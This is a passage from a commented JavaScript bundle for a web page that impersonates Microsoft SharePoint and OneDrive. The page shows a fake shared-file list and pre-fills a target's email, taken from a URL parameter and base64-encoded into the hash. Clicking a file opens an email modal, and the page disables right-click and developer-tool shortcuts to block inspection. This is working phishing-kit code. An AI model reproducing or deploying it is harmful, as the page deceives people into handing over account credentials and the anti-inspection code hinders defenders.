C9.54542848,6.15252157 11.276867,5 13.2783862,5 C15.9223281,5 18.0967377,7.01021204 18.3569183,9.58557738 C18.3206982,9.58461151 18.2847197,9.58292125 18.2483789,9.58292125 C17.6798451,9.58292125 17.1232638,9.6982217 16.6079734,9.92012979 C15.7386926,8.71545137 14.3462736,7.99105063 12.8299821,7.99105063 C10.4089142,7.99105063 8.41282793,9.84563725 8.18741857,12.2086324 Z",
                  }),
                  " ",
                ],
              }),
            ],
          }
        );

      // PDF icon
      const PdfIcon = ({ width, height }) =>
        React.jsxs(
          "svg",
          {
            width: width,
            height: height,
            viewBox: "0 0 32 32",
            xmlns: "http://www.w3.org/2000/svg",
            children: [
              React.jsx("title", { children: "file_type_pdf2" }),
              React.jsx("path", {
                d: "M24.1,2.072h0l5.564,5.8V29.928H8.879V30H29.735V7.945L24.1,2.072",
                style: { fill: "#909090" },
              }),
              React.jsx("path", {
                d: "M24.031,2H8.808V29.928H29.664V7.873L24.03,2",
                style: { fill: "#f4f4f4" },
              }),
              React.jsx("path", {
                d: "M8.655,3.5H2.265v6.827h20.1V3.5H8.655",
                style: { fill: "#7a7b7c" },
              }),
              React.jsx("path", {
                d: "M22.472,10.211H2.395V3.379H22.472v6.832",
                style: { fill: "#dd2025" },
              }),
              React.jsx("path", {
                d: "M9.052,4.534h-.03l-.207,0H7.745v4.8H8.773V7.715L9,7.728a2.042,2.042,0,0,0,.647-.117,1.427,1.427,0,0,0,.493-.291,1.224,1.224,0,0,0,.335-.454,2.13,2.13,0,0,0,.105-.908,2.237,2.237,0,0,0-.114-.644,1.173,1.173,0,0,0-.687-.65A2.149,2.149,0,0,0,9.37,4.56a2.232,2.232,0,0,0-.319-.026M8.862,6.828l-.089,0V5.348h.193a.57.57,0,0,1,.459.181.92.92,0,0,1,.183.558c0,.246,0,.469-.222.626a.942.942,0,0,1-.524.114",
                style: { fill: "#464648" },
              }),
              React.jsx("path", {
                d: "M12.533,4.521c-.111,0-.219.008-.295.011L12,4.538h-.78v4.8h.918a2.677,2.677,0,0,0,1.028-.175,1.71,1.71,0,0,0,.68-.491,1.939,1.939,0,0,0,.373-.749,3.728,3.728,0,0,0,.114-.949,4.416,4.416,0,0,0-.087-1.127,1.777,1.777,0,0,0-.4-.733,1.63,1.63,0,0,0-.535-.4,2.413,2.413,0,0,0-.549-.178,1.282,1.282,0,0,0-.228-.017m-.182,3.937-.1,0V5.392h.013a1.062,1.062,0,0,1,.6.107,1.2,1.2,0,0,1,.324.4,1.3,1.3,0,0,1,.142.526c.009.22,0,.4,0,.549a2.926,2.926,0,0,1-.033.513,1.756,1.756,0,0,1-.169.5,1.13,1.13,0,0,1-.363.36.673.673,0,0,1-.416.106",
                style: { fill: "#464648" },
              }),
              React.jsx("path", {
                d: "M17.43,4.538H15v4.8h1.028V7.434h1.3V6.542h-1.3V5.43h1.4V4.538",
                style: { fill: "#464648" },
              }),
              React.jsx("path", {
                d: "M21.781,20.255s3.188-.578,3.188.511S22.994,21.412,21.781,20.255Zm-2.357.083a7.543,7.543,0,0,0-1.473.489l.4-.9c.4-.9.815-2.127.815-2.127a14.216,14.216,0,0,0,1.658,2.252,13.033,13.033,0,0,0-1.4.288Zm-1.262-6.5c0-.949.307-1.208.546-1.208s.508.115.517.939a10.787,10.787,0,0,1-.517,2.434A4.426,4.426,0,0,1,18.161,13.841ZM13.513,24.354c-.978-.585,2.051-2.386,2.6-2.444C16.11,21.911,14.537,24.966,13.513,24.354ZM25.9,20.895c-.01-.1-.1-1.207-2.07-1.16a14.228,14.228,0,0,0-2.453.173,12.542,12.542,0,0,1-2.012-2.655,11.76,11.76,0,0,0,.623-3.1c-.029-1.2-.316-1.888-1.236-1.878s-1.054.815-.933,2.013a9.309,9.309,0,0,0,.665,2.338s-.425,1.323-.987,2.639-.946,2.006-.946,2.006a9.622,9.622,0,0,0-2.725,1.4c-.824.767-1.159,1.356-.725,1.945.374.508,1.683.623,2.853-.91a22.549,22.549,0,0,0,1.7-2.492s1.784-.489,2.339-.623,1.226-.24,1.226-.24,1.629,1.639,3.2,1.581,1.495-.939,1.485-1.035",
                style: { fill: "#dd2025" },
              }),
              React.jsx("path", {
                d: "M23.954,2.077V7.95h5.633L23.954,2.077Z",
                style: { fill: "#909090" },
              }),
              React.jsx("path", {
                d: "M24.031,2V7.873h5.633L24.031,2Z",
                style: { fill: "#f4f4f4" },
              }),
              React.jsx("path", {
                d: "M8.975,4.457h-.03l-.207,0H7.668v4.8H8.7V7.639l.228.013a2.042,2.042,0,0,0,.647-.117,1.428,1.428,0,0,0,.493-.291A1.224,1.224,0,0,0,10.4,6.79a2.13,2.13,0,0,0,.105-.908,2.237,2.237,0,0,0-.114-.644,1.173,1.173,0,0,0-.687-.65,2.149,2.149,0,0,0-.411-.105,2.232,2.232,0,0,0-.319-.026M8.785,6.751l-.089,0V5.271H8.89a.57.57,0,0,1,.459.181.92.92,0,0,1,.183.558c0,.246,0,.469-.222.626a.942.942,0,0,1-.524.114",
                style: { fill: "#fff" },
              }),
              React.jsx("path", {
                d: "M12.456,4.444c-.111,0-.219.008-.295.011l-.235.006h-.78v4.8h.918a2.677,2.677,0,0,0,1.028-.175,1.71,1.71,0,0,0,.68-.491,1.939,1.939,0,0,0,.373-.749,3.728,3.728,0,0,0,.114-.949,4.416,4.416,0,0,0-.087-1.127,1.777,1.777,0,0,0-.4-.733,1.63,1.63,0,0,0-.535-.4,2.413,2.413,0,0,0-.549-.178,1.282,1.282,0,0,0-.228-.017m-.182,3.937-.1,0V5.315h.013a1.062,1.062,0,0,1,.6.107,1.2,1.2,0,0,1,.324.4,1.3,1.3,0,0,1,.142.526c.009.22,0,.4,0,.549a2.926,2.926,0,0,1-.033.513,1.756,1.756,0,0,1-.169.5,1.13,1.13,0,0,1-.363.36.673.673,0,0,1-.416.106",
                style: { fill: "#fff" },
              }),
              React.jsx("path", {
                d: "M17.353,4.461h-2.43v4.8h1.028V7.357h1.3V6.465h-1.3V5.353h1.4V4.461",
                style: { fill: "#fff" },
              }),
            ],
          }
        );

      // Excel icon
      const ExcelIcon = ({ width, height }) =>
        React.jsxs(
          "svg",
          {
            width: width,
            height: height,
            version: "1.1",
            id: "Layer_1",
            xmlns: "http://www.w3.org/2000/svg",
            viewBox: "0 0 512 512",
            fill: "#000000",
            children: [
              React.jsx("g", { id: "SVGRepo_bgCarrier", strokeWidth: "0" }),
              React.jsx("g", {
                id: "SVGRepo_tracerCarrier",
                strokeLinecap: "round",
                strokeLinejoin: "round",
              }),
              React.jsxs("g", {
                id: "SVGRepo_iconCarrier",
                children: [
                  " ",
                  React.jsx("path", {
                    style: { fill: "#E2E5E7" },
                    d: "M128,0c-17.6,0-32,14.4-32,32v448c0,17.6,14.4,32,32,32h320c17.6,0,32-14.4,32-32V128L352,0H128z",
                  }),
                  " ",
                  React.jsx("path", {
                    style: { fill: "#B0B7BD" },
                    d: "M384,128h96L352,0v96C352,113.6,366.4,128,384,128z",
                  }),
                  " ",
                  React.jsx("polygon", {
                    style: { fill: "#CAD1D8" },
                    points: "480,224 384,128 480,128 ",
                  }),
                  " ",
                  React.jsx("path", {
                    style: { fill: "#84BD5A" },
                    d: "M416,416c0,8.8-7.2,16-16,16H48c-8.8,0-16-7.2-16-16V256c0-8.8,7.2-16,16-16h352c8.8,0,16,7.2,16,16 V416z",
                  }),
                  " ",
                  React.jsxs("g", {
                    children: [
                      " ",
                      React.jsx("path", {
                        style: { fill: "#FFFFFF" },
                        d: "M144.336,326.192l22.256-27.888c6.656-8.704,19.584,2.416,12.288,10.736 c-7.664,9.088-15.728,18.944-23.408,29.04l26.096,32.496c7.04,9.6-7.024,18.8-13.936,9.328l-23.552-30.192l-23.152,30.848 c-6.528,9.328-20.992-1.152-13.696-9.856l25.712-32.624c-8.064-10.112-15.872-19.952-23.664-29.04 c-8.048-9.6,6.912-19.44,12.8-10.464L144.336,326.192z",
                      }),
                      " ",
                      React.jsx("path", {
                        style: { fill: "#FFFFFF" },
                        d: "M197.36,303.152c0-4.224,3.584-7.808,8.064-7.808c4.096,0,7.552,3.6,7.552,7.808v64.096h34.8 c12.528,0,12.8,16.752,0,16.752H205.44c-4.48,0-8.064-3.184-8.064-7.792v-73.056H197.36z",
                      }),
                      " ",
                      React.jsx("path", {
                        style: { fill: "#FFFFFF" },
                        d: "M272.032,314.672c2.944-24.832,40.416-29.296,58.08-15.728c8.704,7.024-0.512,18.16-8.192,12.528 c-9.472-6-30.96-8.816-33.648,4.464c-3.456,20.992,52.192,8.976,51.296,43.008c-0.896,32.496-47.968,33.248-65.632,18.672 c-4.24-3.456-4.096-9.072-1.792-12.544c3.328-3.312,7.024-4.464,11.392-0.88c10.48,7.152,37.488,12.528,39.392-5.648 C321.28,339.632,268.064,351.008,272.032,314.672z",
                      }),
                      " ",
                    ],
                  }),
                  " ",
                  React.jsx("path", {
                    style: { fill: "#CAD1D8" },
                    d: "M400,432H96v16h304c8.8,0,16-7.2,16-16v-16C416,424.8,408.8,432,400,432z",
                  }),
                  " ",
                ],
              }),
            ],
          }
        );

      // Document icon
      const DocumentIcon = ({ width, height }) =>
        React.jsxs(
          "svg",
          {
            width: width,
            height: height,
            viewBox: "0 0 24 24",
            fill: "none",
            xmlns: "http://www.w3.org/2000/svg",
            children: [
              React.jsx("g", { id: "SVGRepo_bgCarrier", strokeWidth: "0" }),
              React.jsx("g", {
                id: "SVGRepo_tracerCarrier",
                strokeLinecap: "round",
                strokeLinejoin: "round",
              }),
              React.jsxs("g", {
                id: "SVGRepo_iconCarrier",
                children: [
                  " ",
                  React.jsx("path", {
                    opacity: "0.5",
                    d: "M2 6.94975C2 6.06722 2 5.62595 2.06935 5.25839C2.37464 3.64031 3.64031 2.37464 5.25839 2.06935C5.62595 2 6.06722 2 6.94975 2C7.33642 2 7.52976 2 7.71557 2.01738C8.51665 2.09229 9.27652 2.40704 9.89594 2.92051C10.0396 3.03961 10.1763 3.17633 10.4497 3.44975L11 4C11.8158 4.81578 12.2237 5.22367 12.7121 5.49543C12.9804 5.64471 13.2651 5.7626 13.5604 5.84678C14.0979 6 14.6747 6 15.8284 6H16.2021C18.8345 6 20.1506 6 21.0062 6.76946C21.0849 6.84024 21.1598 6.91514 21.2305 6.99383C22 7.84935 22 9.16554 22 11.7979V14C22 17.7712 22 19.6569 20.8284 20.8284C19.6569 22 17.7712 22 14 22H10C6.22876 22 4.34315 22 3.17157 20.8284C2 19.6569 2 17.7712 2 14V6.94975Z",
                    fill: "#cdbd0e",
                  }),
                  " ",
                  React.jsx("path", {
                    d: "M20 6.23751C19.9992 5.94016 19.9949 5.76263 19.9746 5.60842C19.7974 4.26222 18.7381 3.2029 17.3919 3.02567C17.1969 3 16.9647 3 16.5003 3H9.98828C10.1042 3.10392 10.2347 3.23445 10.45 3.44975L11.0003 4C11.8161 4.81578 12.2239 5.22367 12.7124 5.49543C12.9807 5.64471 13.2653 5.7626 13.5606 5.84678C14.0982 6 14.675 6 15.8287 6H16.2024C17.9814 6 19.1593 6 20 6.23751Z",
                    fill: "#cdbd0e",
                  }),
                  " ",
                  React.jsx("path", {
                    fillRule: "evenodd",
                    clipRule: "evenodd",
                    d: "M12.25 10C12.25 9.58579 12.5858 9.25 13 9.25H18C18.4142 9.25 18.75 9.58579 18.75 10C18.75 10.4142 18.4142 10.75 18 10.75H13C12.5858 10.75 12.25 10.4142 12.25 10Z",
                    fill: "#cdbd0e",
                  }),
                  " ",
                ],
              }),
            ],
          }
        );

      // ============================================
      // COMPONENT: File Explorer Panel
      // ============================================
      const MainStyles = t(2958);
      const MainStylesDefault = t.n(MainStyles);

      const FileExplorer = ({ onAccessClick }) =>
        React.jsxs("div", {
          className: MainStylesDefault().main,
          children: [
            React.jsxs("div", {
              className: MainStylesDefault().mainHeader,
              children: [
                React.jsx(FolderIcon, { width: "50px", height: "50px" }),
                React.jsxs("div", {
                  children: [
                    React.jsx("p", {
                      className: MainStylesDefault().title,
                      children: "One Drive",
                    }),
                    React.jsx("p", {
                      className: MainStylesDefault().size,
                      children: "Total file size: 26 MB",
                    }),
                  ],
                }),
              ],
            }),
            React.jsxs("div", {
              className: MainStylesDefault().listContainer,
              onClick: onAccessClick,
              children: [
                React.jsx("div", {
                  className: MainStylesDefault().cardHeader,
                  children: React.jsx("h6", { children: "File Explorer" }),
                }),
                React.jsx("div", {
                  className: MainStylesDefault().cardBody,
                  children: React.jsxs("ul", {
                    children: [
                      React.jsx(ListItem, {
                        icon: React.jsx(DocumentIcon, {
                          width: "40px",
                          height: "40px",
                        }),
                        description: "Approved Document 1",
                      }),
                      React.jsx(ListItem, {
                        icon: React.jsx(DocumentIcon, {
                          width: "40px",
                          height: "40px",
                        }),
                        description: "Approved Document 2",
                      }),
                      React.jsx(ListItem, {
                        icon: React.jsx(PdfIcon, {
                          width: "40px",
                          height: "40px",
                        }),
                        description: "Payment Terms and Conditions",
                      }),
                      React.jsx(ListItem, {
                        icon: React.jsx(ExcelIcon, {
                          width: "40px",
                          height: "40px",
                        }),
                        description: "Data Sheet.xls",
                      }),
                      React.jsx(ListItem, {
                        icon: React.jsx(PdfIcon, {
                          width: "40px",
                          height: "40px",
                        }),
                        description: "Company Profile.pdf",
                      }),
                      React.jsx(ListItem, {
                        icon: React.jsx(ExcelIcon, {
                          width: "40px",
                          height: "40px",
                        }),
                        description: "Quotation.xls",
                      }),
                    ],
                  }),
                }),
                React.jsx("div", {
                  className: MainStylesDefault().footer,
                  children: React.jsx("p", { children: "Download all" }),
                }),
              ],
            }),
          ],
        });

      // ============================================
      // COMPONENT: Aside Panel
      // ============================================
      const AsideStyles = t(7001);
      const AsideStylesDefault = t.n(AsideStyles);

      const AsidePanel = () =>
        React.jsx("div", {
          className: AsideStylesDefault().aside,
          children: React.jsxs("div", {
            className: AsideStylesDefault().asideCard,
            children: [
              React.jsx(Image.default, {
                src: "https://hardone.web.app/gf/sh.gif",
                alt: "asdImg",
                width: 512,
                height: 288,
                unoptimized: true,
              }),
              React.jsxs("div", {
                className: AsideStylesDefault().asideBody,
                children: [
                  React.jsx("p", { children: "Signed by: Sales Manager" }),
                  React.jsx("p", {
                    children: "Public Access Duration: 24 hrs",
                  }),
                ],
              }),
            ],
          }),
        });

      // ============================================
      // COMPONENT: Welcome Page
      // ============================================
      const WelcomeStyles = t(2997);
      const WelcomeStylesDefault = t.n(WelcomeStyles);

      const WelcomePage = ({ userEmail, onAccessClick }) =>
        React.jsxs(React.Fragment, {
          children: [
            React.jsx("div", {
              style: {
                position: "fixed",
                top: 0,
                left: 0,
                width: "100%",
                height: "100%",
                zIndex: -1,
                backgroundImage:
                  "url(https://i.postimg.cc/Px31RRCz/blurr.png)",
                backgroundSize: "cover",
                backgroundPosition: "center",
                backgroundRepeat: "no-repeat",
              },
            }),
            React.jsx("div", {
              className: "container",
              children: React.jsx("div", {
                className: "d-flex justify-content-center",
                children: React.jsxs("div", {
                  className: "col-sm-8 my-4 text-center",
                  style: { background: "black", opacity: 0.7 },
                  children: [
                    React.jsx("div", {
                      className: "my-4",
                      children: React.jsx(MicrosoftLogo, {}),
                    }),
                    React.jsx("span", {
                      className: "text-white",
                      style: { fontSize: "42px", fontWeight: 100 },
                      children: "Welcome to Microsoft",
                    }),
                    React.jsx("span", {
                      className: "text-white",
                      style: { display: "block", fontSize: "42px", fontWeight: 900 },
                      children: "SharePoint",
                    }),
                    React.jsx("div", {
                      style: { color: "white", fontSize: "15px" },
                      children:
                        "Save your files and photos to OneDrive and get them from any device, anywhere",
                    }),
                    React.jsxs("div", {
                      children: [
                        React.jsx("h5", {
                          className: "text-white",
                          style: { textDecoration: "underline", margin: "1rem 0" },
                          children: userEmail,
                        }),
                        React.jsx("button", {
                          className: "btn btn-primary",
                          onClick: () => onAccessClick(),
                          children: "Access Document",
                        }),
                      ],
                    }),
                    React.jsx("div", {
                      className: "my-5 text-white",
                      style: { fontSize: "12px" },
                      children:
                        "Office365, Outlook, SharePoint, OneDrive, Skype, OneNote, PowerPoint, Word, Excel are all trademarks of Microsoft. All rights reserved © Microsoft .",
                    }),
                  ],
                }),
              }),
            }),
          ],
        });

      // ============================================
      // UTILITY FUNCTIONS
      // ============================================

      // Prevent right-click context menu
      const preventContextMenu = (event) => event.preventDefault();

      // Prevent keyboard shortcuts (F12, Ctrl+*, Alt+*, Meta+*)
      const preventKeyboardShortcuts = (event) => {
        if (event.key === "F12") {
          event.preventDefault();
        }
        if (event.ctrlKey || event.altKey || event.metaKey) {
          event.preventDefault();
        }
      };

      // Toggle security protections
      const toggleSecurityProtections = (enable) => {
        if (enable) {
          document.addEventListener("contextmenu", preventContextMenu);
          document.addEventListener("keydown", preventKeyboardShortcuts);
        } else {
          document.removeEventListener("contextmenu", preventContextMenu);
          document.removeEventListener("keydown", preventKeyboardShortcuts);
        }
      };

      // Get email from URL hash
      const getEmailFromHash = () => {
        const hash = window.location.hash;
        return hash ? hash.substring(1) : null;
      };

      // Check if string is base64 encoded
      const isBase64 = (str) => {
        if (!str || typeof str !== "string") return false;
        try {
          return btoa(atob(str)) === str;
        } catch (error) {
          return false;
        }
      };

      // Write email to URL hash
      const writeEmailToHash = (email) => {
        if (email && !isBase64(email)) {
          const encoded = btoa(email);
          const baseUrl = window.location.href.split("?")[0];
          window.location.replace(`${baseUrl}#${encoded}`);
        }
      };

      // ============================================
      // MAIN PAGE COMPONENT
      // ============================================
      const PageContainer = () => {
        const [userEmail, setUserEmail] = ReactDom.useState("");
        const [showModal, setShowModal] = ReactDom.useState(false);
        const [showWelcome, setShowWelcome] = ReactDom.useState(true);

        const searchParams = ReactUtils.useSearchParams();
        const emailParam = searchParams.get("x1");

        // Initialize email from hash on mount
        ReactDom.useEffect(() => {
          const hashEmail = getEmailFromHash();
          if (hashEmail) {
            setUserEmail(atob(hashEmail));
          }
          writeEmailToHash(emailParam);
          toggleSecurityProtections(true);

          return () => toggleSecurityProtections(false);
        }, [emailParam]);

        return React.jsxs(React.Fragment, {
          children: [
            // Show welcome page or main content
            showWelcome
              ? React.jsx(WelcomePage, {
                  userEmail: userEmail,
                  onAccessClick: () => setShowWelcome(false),
                })
              : React.jsxs(React.Fragment, {
                  children: [
                    React.jsx(HeaderComponent, {}),
                    React.jsxs("div", {
                      className: HeaderStylesDefault().content,
                      children: [
                        React.jsx(FileExplorer, {
                          onAccessClick: () => setShowModal(true),
                        }),
                        React.jsx(AsidePanel, {}),
                      ],
                    }),
                    React.jsx(EmailModal, {
                      showEmailModal: showModal,
                      userEmail: userEmail,
                    }),
                  ],
                }),
            // Backdrop overlay when modal is open
            showModal &&
              React.jsx(BackdropComponent, {
                onClick: () => setShowModal(false),
              }),
          ],
        });
      };

      // ============================================
      // MAIN EXPORT
      // ============================================
      function MainComponent() {
        return React.jsx(ReactDom.Suspense, {
          fallback: React.jsx("i", {
            className: "fa fa-spinner fa-spin fa-3x fa-fw",
          }),
          children: React.jsx(PageContainer, {}),
        });
      }
    },

    // ============================================
    // CSS MODULE EXPORTS
    // ============================================

    // Header styles
    5717: (e) => {
      e.exports = {
        header: "page_header__oRW75",
        content: "page_content___38fW",
      };
    },

    // Backdrop styles
    6596: (e) => {
      e.exports = {
        Backdrop: "Backdrop_Backdrop__UjsgW",
      };
    },

    // Aside styles
    7001: (e) => {
      e.exports = {
        aside: "Aside_aside__79l3D",
        asideCard: "Aside_asideCard__1Il2Z",
        asideBody: "Aside_asideBody__jnSIa",
      };
    },

    // List styles
    9143: (e) => {
      e.exports = {
        lists: "List_lists__ttTD5",
        fileinfo: "List_fileinfo__A80Kz",
        listLog: "List_listLog__N8Cla",
        desc: "List_desc__OlAME",
      };
    },
  },
  (e) => {
    var s = (s) => e(e.s = s);
    e.O(0, [459, 884, 441, 587, 358], () => s(4077));
    _N_E = e.O();
  }
]);